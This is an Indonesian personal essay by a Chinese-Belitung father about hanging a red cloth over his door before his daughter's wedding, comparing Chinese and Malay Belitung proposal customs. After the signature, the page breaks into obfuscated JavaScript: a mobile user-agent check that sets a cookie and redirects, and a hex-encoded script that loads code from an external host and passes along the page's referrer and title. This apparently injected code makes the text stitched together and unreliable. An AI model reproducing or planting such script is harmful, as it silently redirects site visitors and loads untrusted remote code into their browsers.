“KAIN MERAH DI ATAS PINTU”

DALAM Kehidupan sosial masyarakat, selalu ada budaya yang hidup dalam masyarakat tersebut. Lalu budaya itu, dapat mempengaruhi karakter jiwa dari individu maupun jiwa kolektivitas masyarakat tersebut.

Aku sebagai seorang Tionghoa yang lahir dan dibesarkan di pulau Belitung, yang budayanya tak dapat dilepaskan dari budaya Tionghoa. Sementara aku hidup di tengah-tengah budaya Melayu Belitung. Maka menjadi menarik bagi aku untuk berbagi pengetahuan budaya melalui tulisan ini.

Aku bangun pukul tujuh pagi hari Jumat 22 Desember ini. Karena aku mesti memasang kain merah di atas pintu rumahku yang sederhana, yang terletak di perumahan Citra Tujuh pinggiran kota Jakarta.

Kain merah itu merupakan budaya orang Tionghoa, sebagai pertanda bahwa putriku akan dipersunting seorang pemuda pilihannya, yang upacara pernikahannya akan dilaksanakan esoknya.

Tentu bukan hanya rumahku yang akan dipasang kain merah. Tapi rumah calon besanku akan dipasang kain merah juga. Sebagai pertanda putranya akan menikah esok.

Kain merah sebagai lambang ada suatu hajatan kebahagiaan atau kebaikan di rumah itu. Sebagai seorang ayah, aku sambil memasang kain merah, aku sambil bersyukur dan berdoa, agar putriku dapat membentuk rumah tangga yang sakinah atau keluarga sejahtera setelah menikah nanti.

Menurut budaya Tionghoa, kain merah itu akan dipasang selama 12 hari kedepan sejak sehari sebelum resepsi pernikahan.

Bila dilihat, budaya perkawinan orang Melayu Belitung dengan budaya perkawinan orang Tionghoa Belitung, khususnya dalam hal melamar calon pengantin. Ada keunikan tersendiri.

Dalam hal melamar seorang calon pengantin. Menurut budaya Melayu Belitung, seorang laki-laki boleh melamar seorang perempuan. Sebaliknya, seorang perempuan boleh melamar seorang laki-laki. Dalam budaya Tionghoa, mustahil bisa terjadi. Seorang perempuan Tionghoa melamar seorang laki-laki Tionghoa.

Sama halnya, mustahil seorang perempuan Batak melamar seorang laki-laki Batak. Dan sebaliknya mustahil pula. Seorang laki-laki Minangkabau, melamar seorang perempuan Minangkabau.

Disinilah keunikan budaya Melayu Belitung dalam hal perkawinan. Laki-laki boleh melamar perempuan dan sebaliknya perempuan boleh melamar laki-laki.

Aku mohon doa restu, agar putriku dan suaminya senantiasa dapat membentuk sebuah keluarga yang sakinah.

Dan aku mohon maaf, bila banyak di antara sahabatku yang belum sempat diundang, karena resepsi pernikahannya dilaksanakan dengan sederhana saja.

Jakarta, 22 Desember 2017
Kurnianto Purnama, SH.MH. ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} lt;script type=”application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *